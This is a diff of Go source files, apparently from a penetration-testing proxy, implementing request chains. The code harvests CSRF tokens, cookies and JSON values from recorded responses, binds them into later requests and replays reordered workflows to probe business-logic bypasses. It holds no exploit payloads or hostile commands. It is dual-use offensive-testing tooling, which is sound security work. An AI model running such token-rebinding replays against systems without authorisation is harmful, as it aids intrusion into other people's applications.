||||
// what this is filtering out.
|
||||
minCandidateEntropy = 2.6
|
||||
|
||||
// maxCandidatesPerStep bounds the harvest from one response. A JSON document
|
||||
// with thousands of leaves would otherwise turn correlation into a
|
||||
// cross-product over the whole chain.
|
||||
maxCandidatesPerStep = 400
|
||||
)
|
||||
|
||||
// tokenRun matches identifier-shaped runs in a response body: the shape a CSRF
|
||||
// token, a signed id or a nonce takes. Deliberately not a catch-all — anything
|
||||
// this misses is still reachable by hand with a regex or between source.
|
||||
var tokenRun = regexp.MustCompile(`[A-Za-z0-9_\-+/=.]{6,}`)
|
||||
|
||||
// interestingHeaders are response headers whose values routinely feed a later
|
||||
// request. Values from anywhere else in the header block are still found by the
|
||||
// body scan, which runs over the serialized headers too.
|
||||
var interestingHeaders = []string{
|
||||
"Location", "ETag", "Authorization", "X-CSRF-Token", "X-XSRF-Token",
|
||||
"X-Request-Token", "X-Auth-Token", "X-Access-Token",
|
||||
}
|
||||
|
||||
// candidate is one value a step's response produced, with the tightest rule that
|
||||
// would read it back out of a fresh response.
|
||||
type candidate struct {
|
||||
value string
|
||||
source Source
|
||||
rank int // higher is a more specific rule; breaks ties toward cookie/json
|
||||
}
|
||||
|
||||
// Correlate proposes the data dependencies in a chain.
|
||||
//
|
||||
// Without this the feature does not work. Every reordered or repeated run would
|
||||
// die on a stale CSRF token, and an operator could not tell a business-logic
|
||||
// bypass from a replay that simply fell apart — which is the one distinction the
|
||||
// whole tab exists to make.
|
||||
//
|
||||
// The result is a proposal. It is not written to the chain: the operator accepts
|
||||
// or rejects each binding, the way a render is a preview and not a send.
|
||||
func Correlate(chain *Chain) []Binding {
|
||||
var out []Binding
|
||||
n := 0
|
||||
nextID := func() string { n++; return "b" + strconv.Itoa(n) }
|
||||
|
||||
for i, producer := range chain.Steps {
|
||||
if len(producer.RespRaw) == 0 {
|
||||
continue
|
||||
}
|
||||
cands := harvest(producer.RespRaw, plausible, maxCandidatesPerStep)
|
||||
if len(cands) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
for j := i + 1; j < len(chain.Steps); j++ {
|
||||
consumer := chain.Steps[j]
|
||||
for _, c := range cands {
|
||||
if isConstant(chain, i, c.value) {
|
||||
continue
|
||||
}
|
||||
spans := findSpans(consumer.ReqRaw, c.value)
|
||||
if len(spans) == 0 || len(spans) > MaxSpansPerBinding {
|
||||
continue
|
||||
}
|
||||
out = append(out, Binding{
|
||||
ID: nextID(),
|
||||
Var: varName(c, out),
|
||||
FromStep: producer.ID,
|
||||
Source: c.source,
|
||||
ToStep: consumer.ID,
|
||||
Spans: spans,
|
||||
Recorded: c.value,
|
||||
OnMissing: MissingFail,
|
||||
Auto: true,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// isConstant reports whether a value already appeared in a request at or before
|
||||
// its supposed producer.
|
||||
//
|
||||
// A static API key is present in every request in the chain, so a naive search
|
||||
// binds it to everything and buries the two dependencies that matter in forty
|
||||
// that do not. A value that existed before the step that supposedly produced it
|
||||
// was not produced by that step.
|
||||
func isConstant(chain *Chain, producerIdx int, value string) bool {
|
||||
for k := 0; k <= producerIdx && k < len(chain.Steps); k++ {
|
||||
if len(findSpans(chain.Steps[k].ReqRaw, value)) > 0 {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// harvest pulls candidate values out of a recorded response, best rule first.
|
||||
//
|
||||
// keep decides which values are worth returning and maxRuns bounds the body
|
||||
// scan; both are the caller's policy rather than this function's. A scan over a
|
||||
// whole chain needs the entropy floor and the cap, or it proposes hundreds of
|
||||
// coincidences. A value an operator pointed at needs neither, and applying them
|
||||
// there would refuse to bind the case the operator came here for. Keeping the
|
||||
// rule table here and the judgment at the call site is what lets correlation and
|
||||
// hand-authored bindings share one definition of what a Source can read.
|
||||
//
|
||||
// maxRuns of zero or less means unlimited.
|
||||
func harvest(respRaw []byte, keep func(string) bool, maxRuns int) []candidate {
|
||||
resp := httptools.ReadResponse(respRaw)
|
||||
seen := make(map[string]candidate)
|
||||
|
||||
add := func(c candidate) {
|
||||
if !keep(c.value) {
|
||||
return
|
||||
}
|
||||
if prev, ok := seen[c.value]; !ok || c.rank > prev.rank {
|
||||
seen[c.value] = c
|
||||
}
|
||||
}
|
||||
|
||||
// Cookies first: they are the most specific rule and the one that survives
|
||||
// the server rotating the value, because it resolves by name.
|
||||
for _, sc := range resp.Header.Values("Set-Cookie") {
|
||||
name, val, ok := strings.Cut(sc, "=")
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
val, _, _ = strings.Cut(val, ";")
|
||||
add(candidate{
|
||||
value: strings.TrimSpace(val),
|
||||
source: Source{Kind: SourceCookie, Name: strings.TrimSpace(name)},
|
||||
rank: 40,
|
||||
})
|
||||
}
|
||||
|
||||
for _, h := range interestingHeaders {
|
||||
if v := resp.Header.Get(h); v != "" {
|
||||
add(candidate{value: v, source: Source{Kind: SourceHeader, Name: h}, rank: 30})
|
||||
}
|
||||
}
|
||||
|
||||
// JSON leaves, addressed by path.
|
||||
if looksJSON(resp) {
|
||||
var doc any
|
||||
if json.Unmarshal(resp.Body, &doc) == nil {
|
||||
walkJSON(doc, "", func(path, val string) {
|
||||
add(candidate{value: val, source: Source{Kind: SourceJSON, Path: path}, rank: 35})
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// Everything else, anchored on the literal text around it. This is the
|
||||
// fallback precisely because it is the least robust rule: it survives a
|
||||
// changing value but not a changing page.
|
||||
body := resp.Body
|
||||
runs := maxRuns
|
||||
if runs <= 0 {
|
||||
runs = -1 // FindAllIndex reads a negative count as "every match".
|
||||
}
|
||||
for _, loc := range tokenRun.FindAllIndex(body, runs) {
|
||||
val := string(body[loc[0]:loc[1]])
|
||||
if _, ok := seen[val]; ok {
|
||||
continue
|
||||
}
|
||||
add(candidate{
|
||||
value: val,
|
||||
source: Source{Kind: SourceBetween, Prefix: contextBefore(body, loc[0]), Suffix: contextAfter(body, loc[1])},
|
||||
rank: 10,
|
||||
})
|
||||
}
|
||||
|
||||
out := make([]candidate, 0, len(seen))
|
||||
for _, c := range seen {
|
||||
out = append(out, c)
|
||||
}
|
||||
// Most specific rule first, then longest value: a long value is less likely
|
||||
// to be a coincidence, and ordering makes the proposal list readable.
|
||||
sort.SliceStable(out, func(i, j int) bool {
|
||||
if out[i].rank != out[j].rank {
|
||||
return out[i].rank > out[j].rank
|
||||
}
|
||||
return len(out[i].value) > len(out[j].value)
|
||||
})
|
||||
if maxRuns > 0 && len(out) > maxRuns {
|
||||
out = out[:maxRuns]
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// plausible is the length-and-entropy filter.
|
||||
func plausible(v string) bool {
|
||||
v = strings.TrimSpace(v)
|
||||
if len(v) < minCandidateLen || len(v) > maxValueLen {
|
||||
return false
|
||||
}
|
||||
// A value that is all one character carries no identity no matter how long.
|
||||
if strings.Count(v, string(v[0])) == len(v) {
|
||||
return false
|
||||
}
|
||||
return shannonEntropy(v) >= minCandidateEntropy
|
||||
}
|
||||
|
||||
// shannonEntropy returns bits per character.
|
||||
//
|
||||
// Deliberately a copy of detect.ShannonEntropy rather than an import, for the
|
||||
// reason httptools.splitRaw records about detect.Parse: taking the export drags
|
||||
// the 167-rule engine into this package's dependency graph for one twelve-line
|
||||
// pure function. Cross-referenced in internal/detect/entropy.go.
|
||||
func shannonEntropy(s string) float64 {
|
||||
if s == "" {
|
||||
return 0
|
||||
}
|
||||
var counts [256]int
|
||||
for i := 0; i < len(s); i++ {
|
||||
counts[s[i]]++
|
||||
}
|
||||
n := float64(len(s))
|
||||
var e float64
|
||||
for _, c := range counts {
|
||||
if c == 0 {
|
||||
continue
|
||||
}
|
||||
p := float64(c) / n
|
||||
e -= p * math.Log2(p)
|
||||
}
|
||||
return e
|
||||
}
|
||||
|
||||
func looksJSON(resp httptools.Response) bool {
|
||||
ct := strings.ToLower(resp.Header.Get("Content-Type"))
|
||||
if strings.Contains(ct, "json") {
|
||||
return true
|
||||
}
|
||||
t := strings.TrimSpace(string(resp.Body))
|
||||
return strings.HasPrefix(t, "{") || strings.HasPrefix(t, "[")
|
||||
}
|
||||
|
||||
// walkJSON visits every scalar leaf with its dotted path.
|
||||
func walkJSON(v any, path string, fn func(path, val string)) {
|
||||
switch t := v.(type) {
|
||||
case map[string]any:
|
||||
for k, sub := range t {
|
||||
p := k
|
||||
if path != "" {
|
||||
p = path + "." + k
|
||||
}
|
||||
walkJSON(sub, p, fn)
|
||||
}
|
||||
case []any:
|
||||
for i, sub := range t {
|
||||
walkJSON(sub, path+"["+strconv.Itoa(i)+"]", fn)
|
||||
}
|
||||
case string:
|
||||
if path != "" {
|
||||
fn(path, t)
|
||||
}
|
||||
case float64:
|
||||
if path != "" {
|
||||
fn(path, strconv.FormatFloat(t, 'f', -1, 64))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// contextBefore and contextAfter capture the literal text bracketing a value, so
|
||||
// a between source can find it again in a fresh response.
|
||||
func contextBefore(body []byte, at int) string {
|
||||
const window = 24
|
||||
start := at - window
|
||||
if start < 0 {
|
||||
start = 0
|
||||
}
|
||||
return string(body[start:at])
|
||||
}
|
||||
|
||||
func contextAfter(body []byte, at int) string {
|
||||
const window = 16
|
||||
end := at + window
|
||||
if end > len(body) {
|
||||
end = len(body)
|
||||
}
|
||||
return string(body[at:end])
|
||||
}
|
||||
|
||||
// findSpans locates every occurrence of a value in a recorded request.
|
||||
//
|
||||
// Every occurrence, not the first: a CSRF token is routinely present in both a
|
||||
// header and a form field, and binding only one leaves the request internally
|
||||
// inconsistent in a way the origin rejects.
|
||||
func findSpans(raw []byte, value string) []Span {
|
||||
if value == "" {
|
||||
return nil
|
||||
}
|
||||
var out []Span
|
||||
off := 0
|
||||
for {
|
||||
i := strings.Index(string(raw[off:]), value)
|
||||
if i < 0 {
|
||||
return out
|
||||
}
|
||||
start := off + i
|
||||
out = append(out, Span{Start: start, End: start + len(value)})
|
||||
off = start + len(value)
|
||||
if len(out) > MaxSpansPerBinding {
|
||||
return out
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// varName derives a readable, unique name for a proposed binding.
|
||||
func varName(c candidate, existing []Binding) string {
|
||||
base := ""
|
||||
switch c.source.Kind {
|
||||
case SourceCookie:
|
||||
base = sanitizeVar(c.source.Name)
|
||||
case SourceHeader:
|
||||
base = sanitizeVar(c.source.Name)
|
||||
case SourceJSON:
|
||||
segs := splitJSONPath(c.source.Path)
|
||||
if len(segs) > 0 {
|
||||
base = sanitizeVar(segs[len(segs)-1])
|
||||
}
|
||||
case SourceBetween:
|
||||
base = sanitizeVar(lastIdent(c.source.Prefix))
|
||||
case SourceRegex:
|
||||
base = sanitizeVar(lastIdent(c.source.Expr))
|
||||
}
|
||||
if base == "" {
|
||||
base = "value"
|
||||
}
|
||||
|
||||
// Reuse the name when the same value is already bound: one value feeding
|
||||
// three steps should read as one variable in three places, not three
|
||||
// variables that happen to be equal.
|
||||
for _, b := range existing {
|
||||
if b.Recorded == c.value {
|
||||
return b.Var
|
||||
}
|
||||
}
|
||||
taken := map[string]bool{}
|
||||
for _, b := range existing {
|
||||
taken[b.Var] = true
|
||||
}
|
||||
if !taken[base] {
|
||||
return base
|
||||
}
|
||||
for i := 2; ; i++ {
|
||||
n := base + strconv.Itoa(i)
|
||||
if !taken[n] {
|
||||
return n
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// identRun matches a name-shaped run, for deriving a variable name from the text
|
||||
// a between source anchors on.
|
||||
var identRun = regexp.MustCompile(`[A-Za-z][A-Za-z0-9_-]*`)
|
||||
|
||||
// lastIdent returns the final name-shaped run in s.
|
||||
//
|
||||
// The text immediately before a value is what names it: a prefix ending
|
||||
// `var cfg={csrf:"` says the value is a csrf token. Without this every value
|
||||
// reached by the between fallback is called "value", "value2", "value3" — which
|
||||
// is exactly the set of bindings an operator most needs to tell apart, because
|
||||
// the fallback is what fires for a token buried in a script.
|
||||
func lastIdent(s string) string {
|
||||
m := identRun.FindAllString(s, -1)
|
||||
if len(m) == 0 {
|
||||
return ""
|
||||
}
|
||||
return m[len(m)-1]
|
||||
}
|
||||
|
||||
func sanitizeVar(s string) string {
|
||||
s = strings.TrimSpace(s)
|
||||
var b strings.Builder
|
||||
for _, r := range s {
|
||||
switch {
|
||||
case r >= 'a' && r <= 'z', r >= '0' && r <= '9':
|
||||
b.WriteRune(r)
|
||||
case r >= 'A' && r <= 'Z':
|
||||
b.WriteRune(r + 32)
|
||||
case r == '_' || r == '-':
|
||||
b.WriteRune('_')
|
||||
}
|
||||
}
|
||||
out := strings.Trim(b.String(), "_")
|
||||
if len(out) > MaxVarLen {
|
||||
out = out[:MaxVarLen]
|
||||
}
|
||||
return out
|
||||
}
|
||||
@@ -0,0 +1,251 @@
|
||||
package chain
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/joro/internal/httptools"
|
||||
)
|
||||
|
||||
// maxValueLen bounds an extracted value. A source that matches a whole page body
|
||||
// is a mistake in the rule, not a value worth injecting, and letting it through
|
||||
// would put a megabyte into the next request.
|
||||
const maxValueLen = 8 << 10
|
||||
|
||||
// Extract reads one value out of a live response.
|
||||
//
|
||||
// The empty string with a nil error is not possible: a source that matches
|
||||
// nothing returns an error naming what it looked for, because "produced an empty
|
||||
// value" and "did not fire" lead to completely different next actions and a run
|
||||
// that conflates them cannot report an honest verdict.
|
||||
func Extract(src Source, resp httptools.Response) (string, error) {
|
||||
var out string
|
||||
var err error
|
||||
|
||||
switch src.Kind {
|
||||
case SourceHeader:
|
||||
out, err = extractHeader(src, resp)
|
||||
case SourceCookie:
|
||||
out, err = extractCookie(src, resp)
|
||||
case SourceJSON:
|
||||
out, err = extractJSON(src, resp)
|
||||
case SourceRegex:
|
||||
out, err = extractRegex(src, resp)
|
||||
case SourceBetween:
|
||||
out, err = extractBetween(src, resp)
|
||||
default:
|
||||
return "", fmt.Errorf("unknown source kind %q", src.Kind)
|
||||
}
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if out == "" {
|
||||
return "", fmt.Errorf("%s matched an empty value", describeSource(src))
|
||||
}
|
||||
if len(out) > maxValueLen {
|
||||
return "", fmt.Errorf("%s matched %d bytes, over the %d byte limit", describeSource(src), len(out), maxValueLen)
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func extractHeader(src Source, resp httptools.Response) (string, error) {
|
||||
v := resp.Header.Get(src.Name)
|
||||
if v == "" {
|
||||
return "", fmt.Errorf("response has no %s header", src.Name)
|
||||
}
|
||||
return v, nil
|
||||
}
|
||||
|
||||
// extractCookie reads a cookie by name from Set-Cookie.
|
||||
//
|
||||
// By name rather than by value, which is what lets a rotated session id still
|
||||
// bind: the server issuing a different value for the same cookie is the normal
|
||||
// case on a replay, not a failure.
|
||||
func extractCookie(src Source, resp httptools.Response) (string, error) {
|
||||
want := strings.ToLower(strings.TrimSpace(src.Name))
|
||||
for _, sc := range resp.Header.Values("Set-Cookie") {
|
||||
name, val, ok := strings.Cut(sc, "=")
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
if strings.ToLower(strings.TrimSpace(name)) != want {
|
||||
continue
|
||||
}
|
||||
// Trim attributes; the value ends at the first semicolon.
|
||||
val, _, _ = strings.Cut(val, ";")
|
||||
return strings.TrimSpace(val), nil
|
||||
}
|
||||
return "", fmt.Errorf("response set no %s cookie", src.Name)
|
||||
}
|
||||
|
||||
// extractJSON walks a dotted path with optional [i] indices.
|
||||
func extractJSON(src Source, resp httptools.Response) (string, error) {
|
||||
var doc any
|
||||
if err := json.Unmarshal(resp.Body, &doc); err != nil {
|
||||
return "", fmt.Errorf("response body is not JSON: %v", err)
|
||||
}
|
||||
cur := doc
|
||||
for _, seg := range splitJSONPath(src.Path) {
|
||||
if idx, isIdx := strings.CutPrefix(seg, "["); isIdx {
|
||||
n, err := strconv.Atoi(strings.TrimSuffix(idx, "]"))
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("bad index %q in path %s", seg, src.Path)
|
||||
}
|
||||
arr, ok := cur.([]any)
|
||||
if !ok {
|
||||
return "", fmt.Errorf("%s is not an array in path %s", seg, src.Path)
|
||||
}
|
||||
if n < 0 || n >= len(arr) {
|
||||
return "", fmt.Errorf("index %d out of range in path %s", n, src.Path)
|
||||
}
|
||||
cur = arr[n]
|
||||
continue
|
||||
}
|
||||
obj, ok := cur.(map[string]any)
|
||||
if !ok {
|
||||
return "", fmt.Errorf("%q is not an object in path %s", seg, src.Path)
|
||||
}
|
||||
cur, ok = obj[seg]
|
||||
if !ok {
|
||||
return "", fmt.Errorf("path %s has no %q", src.Path, seg)
|
||||
}
|
||||
}
|
||||
return jsonScalar(cur, src.Path)
|
||||
}
|
||||
|
||||
// jsonScalar renders a leaf. A number is rendered the way it appeared rather than
|
||||
// through %v, which would turn an id of 1000000 into 1e+06 and inject that.
|
||||
func jsonScalar(v any, path string) (string, error) {
|
||||
switch t := v.(type) {
|
||||
case string:
|
||||
return t, nil
|
||||
case float64:
|
||||
return strconv.FormatFloat(t, 'f', -1, 64), nil
|
||||
case bool:
|
||||
return strconv.FormatBool(t), nil
|
||||
case nil:
|
||||
return "", fmt.Errorf("path %s is null", path)
|
||||
default:
|
||||
return "", fmt.Errorf("path %s is not a scalar", path)
|
||||
}
|
||||
}
|
||||
|
||||
// splitJSONPath turns "data.items[0].id" into ["data","items","[0]","id"].
|
||||
func splitJSONPath(path string) []string {
|
||||
var out []string
|
||||
for _, part := range strings.Split(path, ".") {
|
||||
if part == "" {
|
||||
continue
|
||||
}
|
||||
for {
|
||||
before, rest, ok := strings.Cut(part, "[")
|
||||
if !ok {
|
||||
if before != "" {
|
||||
out = append(out, before)
|
||||
}
|
||||
break
|
||||
}
|
||||
if before != "" {
|
||||
out = append(out, before)
|
||||
}
|
||||
idx, after, ok := strings.Cut(rest, "]")
|
||||
if !ok {
|
||||
out = append(out, "["+rest+"]")
|
||||
break
|
||||
}
|
||||
out = append(out, "["+idx+"]")
|
||||
part = after
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func extractRegex(src Source, resp httptools.Response) (string, error) {
|
||||
re, err := regexp.Compile(src.Expr)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("bad pattern: %v", err)
|
||||
}
|
||||
// Match over headers as well as body: a value is as likely to be in a
|
||||
// Location header as in the page.
|
||||
hay := append(append([]byte(nil), headerBytes(resp)...), resp.Body...)
|
||||
m := re.FindSubmatch(hay)
|
||||
if m == nil {
|
||||
return "", fmt.Errorf("pattern %s matched nothing", src.Expr)
|
||||
}
|
||||
g := src.Group
|
||||
if g == 0 && len(m) > 1 {
|
||||
// A pattern with a capture group almost always means the group, not the
|
||||
// whole match. Defaulting to 1 is what an operator writing (\w+) expects.
|
||||
g = 1
|
||||
}
|
||||
if g < 0 || g >= len(m) {
|
||||
return "", fmt.Errorf("pattern %s has no group %d", src.Expr, src.Group)
|
||||
}
|
||||
return string(m[g]), nil
|
||||
}
|
||||
|
||||
func extractBetween(src Source, resp httptools.Response) (string, error) {
|
||||
hay := append(append([]byte(nil), headerBytes(resp)...), resp.Body...)
|
||||
s := string(hay)
|
||||
i := strings.Index(s, src.Prefix)
|
||||
if i < 0 {
|
||||
return "", fmt.Errorf("response does not contain %q", truncate(src.Prefix, 40))
|
||||
}
|
||||
rest := s[i+len(src.Prefix):]
|
||||
if src.Suffix == "" {
|
||||
return rest, nil
|
||||
}
|
||||
j := strings.Index(rest, src.Suffix)
|
||||
if j < 0 {
|
||||
return "", fmt.Errorf("no %q after %q", truncate(src.Suffix, 20), truncate(src.Prefix, 40))
|
||||
}
|
||||
return rest[:j], nil
|
||||
}
|
||||
|
||||
// headerBytes re-serializes headers so regex and between sources can address
|
||||
// them. Order is not stable across a map walk, which is fine: these two sources
|
||||
// anchor on a literal, not on position.
|
||||
func headerBytes(resp httptools.Response) []byte {
|
||||
var b strings.Builder
|
||||
for name, vals := range resp.Header {
|
||||
for _, v := range vals {
|
||||
b.WriteString(name)
|
||||
b.WriteString(": ")
|
||||
b.WriteString(v)
|
||||
b.WriteString("\r\n")
|
||||
}
|
||||
}
|
||||
b.WriteString("\r\n")
|
||||
return []byte(b.String())
|
||||
}
|
||||
|
||||
// describeSource renders a source for an error message.
|
||||
func describeSource(src Source) string {
|
||||
switch src.Kind {
|
||||
case SourceHeader:
|
||||
return "header " + src.Name
|
||||
case SourceCookie:
|
||||
return "cookie " + src.Name
|
||||
case SourceJSON:
|
||||
return "json path " + src.Path
|
||||
case SourceRegex:
|
||||
return "pattern " + truncate(src.Expr, 40)
|
||||
case SourceBetween:
|
||||
return fmt.Sprintf("text between %q and %q", truncate(src.Prefix, 20), truncate(src.Suffix, 20))
|
||||
}
|
||||
return src.Kind
|
||||
}
|
||||
|
||||
// Describe renders a source for the UI, which needs the same string the error
|
||||
// messages use so an operator reading a failure recognizes the rule it names.
|
||||
func (s Source) Describe() string { return describeSource(s) }
|
||||
|
||||
func truncate(s string, n int) string {
|
||||
if len(s) <= n {
|
||||
return s
|
||||
}
|
||||
return s[:n] + "..."
|
||||
}
|
||||
@@ -0,0 +1,210 @@
|
||||
package chain
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strconv"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Store holds the live chain set.
|
||||
//
|
||||
// In memory, backed by the project file rather than a file of its own. A chain is
|
||||
// engagement data — it describes one application's checkout, and it is useful to
|
||||
// a teammate who opens the same project — which is the opposite of the case
|
||||
// internal/trigger's store makes for living in ~/.joro: a trigger is referenced
|
||||
// by installed automations, which are machine-global because executable code must
|
||||
// not travel in a project file. Nothing installed references a chain.
|
||||
type Store struct {
|
||||
mu sync.RWMutex
|
||||
chains []*Chain
|
||||
|
||||
// rev changes on every mutation. The autosave signature needs it because an
|
||||
// edit to a chain's bindings leaves the chain count identical, and a count
|
||||
// is all the rest of that signature has to go on.
|
||||
rev uint64
|
||||
}
|
||||
|
||||
// NewStore creates an empty store.
|
||||
func NewStore() *Store { return &Store{} }
|
||||
|
||||
// List returns every chain, oldest first, as clones.
|
||||
func (s *Store) List() []*Chain {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
out := make([]*Chain, len(s.chains))
|
||||
for i, c := range s.chains {
|
||||
out[i] = c.Clone()
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Get returns a clone of one chain, or nil.
|
||||
func (s *Store) Get(id string) *Chain {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
for _, c := range s.chains {
|
||||
if c.ID == id {
|
||||
return c.Clone()
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Count reports how many chains are held, for the autosave signature.
|
||||
func (s *Store) Count() int {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
return len(s.chains)
|
||||
}
|
||||
|
||||
// Revision reports a counter that changes whenever a chain does, so autosave can
|
||||
// notice an edit that leaves the count the same.
|
||||
func (s *Store) Revision() uint64 {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
return s.rev
|
||||
}
|
||||
|
||||
// Create validates and stores a new chain, assigning its id.
|
||||
func (s *Store) Create(c *Chain) (*Chain, error) {
|
||||
c.Normalize()
|
||||
if err := Validate(c); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
if len(s.chains) >= MaxChains {
|
||||
return nil, fmt.Errorf("this project already holds %d chains, the limit", MaxChains)
|
||||
}
|
||||
c.ID = newID()
|
||||
c.CreatedAt = time.Now()
|
||||
c.UpdatedAt = c.CreatedAt
|
||||
s.chains = append(s.chains, c)
|
||||
s.rev++
|
||||
return c.Clone(), nil
|
||||
}
|
||||
|
||||
// Update replaces a chain's contents. The id is frozen.
|
||||
func (s *Store) Update(id string, c *Chain) (*Chain, error) {
|
||||
c.Normalize()
|
||||
if err := Validate(c); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
for i, old := range s.chains {
|
||||
if old.ID != id {
|
||||
continue
|
||||
}
|
||||
c.ID = id
|
||||
c.CreatedAt = old.CreatedAt
|
||||
c.UpdatedAt = time.Now()
|
||||
s.chains[i] = c
|
||||
s.rev++
|
||||
return c.Clone(), nil
|
||||
}
|
||||
return nil, fmt.Errorf("no chain %s", id)
|
||||
}
|
||||
|
||||
// Delete removes a chain, reporting whether it was found.
|
||||
func (s *Store) Delete(id string) bool {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
for i, c := range s.chains {
|
||||
if c.ID == id {
|
||||
s.chains = append(s.chains[:i], s.chains[i+1:]...)
|
||||
s.rev++
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// ReplaceAll swaps the whole set, which is what loading a project does.
|
||||
//
|
||||
// Unvalidated on purpose, matching the read-path rule in Validate's doc: a chain
|
||||
// a hand edit pushed past a bound has to appear in the list so it can be fixed.
|
||||
func (s *Store) ReplaceAll(chains []*Chain) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
if len(chains) > MaxChains {
|
||||
chains = chains[:MaxChains]
|
||||
}
|
||||
s.chains = make([]*Chain, 0, len(chains))
|
||||
for _, c := range chains {
|
||||
if c == nil {
|
||||
continue
|
||||
}
|
||||
c.Normalize()
|
||||
s.chains = append(s.chains, c)
|
||||
}
|
||||
s.rev++
|
||||
}
|
||||
|
||||
// Clear drops every chain, for a project switch.
|
||||
func (s *Store) Clear() {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.chains = nil
|
||||
s.rev++
|
||||
}
|
||||
|
||||
// New assembles a chain from recorded exchanges, assigning step ids and
|
||||
// labels. Raws over the caps are truncated rather than refused: a step whose
|
||||
// upload body was trimmed still replays usefully, and refusing would lose the
|
||||
// workflow over one request.
|
||||
func New(name string, steps []Step) *Chain {
|
||||
c := &Chain{Name: name}
|
||||
for i, s := range steps {
|
||||
s.ID = "s" + strconv.Itoa(i+1)
|
||||
if s.Label == "" {
|
||||
s.Label = Label(s.ReqRaw)
|
||||
}
|
||||
if len(s.ReqRaw) > MaxStepBytes {
|
||||
s.ReqRaw = s.ReqRaw[:MaxStepBytes]
|
||||
}
|
||||
if len(s.RespRaw) > MaxStepRespBytes {
|
||||
s.RespRaw = s.RespRaw[:MaxStepRespBytes]
|
||||
}
|
||||
c.Steps = append(c.Steps, s)
|
||||
}
|
||||
c.Normalize()
|
||||
return c
|
||||
}
|
||||
|
||||
// Reindex assigns positional step ids and rewrites every reference to them.
|
||||
//
|
||||
// Called when steps arrive without ids — a chain built from History, or one being
|
||||
// appended to — never on a plain update. An update must leave ids alone: after a
|
||||
// drag-reorder the canvas sends the same steps in a new order, and renumbering
|
||||
// them there would repoint every binding at whichever step landed in its slot.
|
||||
//
|
||||
// Each step's old id is read once, immediately before its new one is written, so
|
||||
// a new id colliding with one a later step still holds does not matter. Steps
|
||||
// with no id, and the second of a duplicated pair, contribute nothing to the
|
||||
// remap: there is no reference to rewrite, and letting them share a key would
|
||||
// make every one of them resolve to the same step.
|
||||
func Reindex(c *Chain) {
|
||||
remap := make(map[string]string, len(c.Steps))
|
||||
for i := range c.Steps {
|
||||
want := "s" + strconv.Itoa(i+1)
|
||||
if old := c.Steps[i].ID; old != "" {
|
||||
if _, dup := remap[old]; !dup {
|
||||
remap[old] = want
|
||||
}
|
||||
}
|
||||
c.Steps[i].ID = want
|
||||
}
|
||||
for i := range c.Bindings {
|
||||
if v, ok := remap[c.Bindings[i].FromStep]; ok {
|
||||
c.Bindings[i].FromStep = v
|
||||
}
|
||||
if v, ok := remap[c.Bindings[i].ToStep]; ok {
|
||||
c.Bindings[i].ToStep = v
|
||||
}
|
||||
}
|
||||
if v, ok := remap[c.GoalStepID]; ok {
|
||||
c.GoalStepID = v
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,209 @@
|
||||
package chain
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/joro/internal/httptools"
|
||||
)
|
||||
|
||||
// Vars is the value table a run accumulates as it walks a variant.
|
||||
type Vars map[string]string
|
||||
|
||||
// Missing names one unresolved dependency: a value a step needs that nothing has
|
||||
// produced yet in this variant.
|
||||
type Missing struct {
|
||||
Var string `json:"var"`
|
||||
FromStep string `json:"fromStep"`
|
||||
}
|
||||
|
||||
// Render produces the bytes for one step instance.
|
||||
//
|
||||
// The order is forced by correctness and is not a preference:
|
||||
//
|
||||
// 1. Binding spans, descending by offset. Offsets are computed against the
|
||||
// pristine snapshot, so applying them high-to-low keeps every remaining
|
||||
// offset valid no matter how much the replacement changes length.
|
||||
// 2. Manual edits, so an operator can override a bound value rather than
|
||||
// fighting it.
|
||||
// 3. Content-Length, unconditionally. Step 1 changes the body length whenever a
|
||||
// bound value moves into it, and skipping this produces a request the origin
|
||||
// reads as truncated — which is indistinguishable from the server rejecting
|
||||
// the replay, and so is the exact failure this feature must never produce.
|
||||
//
|
||||
// A binding whose value is missing and whose OnMissing is MissingFail is reported
|
||||
// rather than guessed at; the caller must not send.
|
||||
func Render(chain *Chain, step Step, vars Vars) (raw []byte, missing []Missing, err error) {
|
||||
type patch struct {
|
||||
span Span
|
||||
value string
|
||||
}
|
||||
var patches []patch
|
||||
|
||||
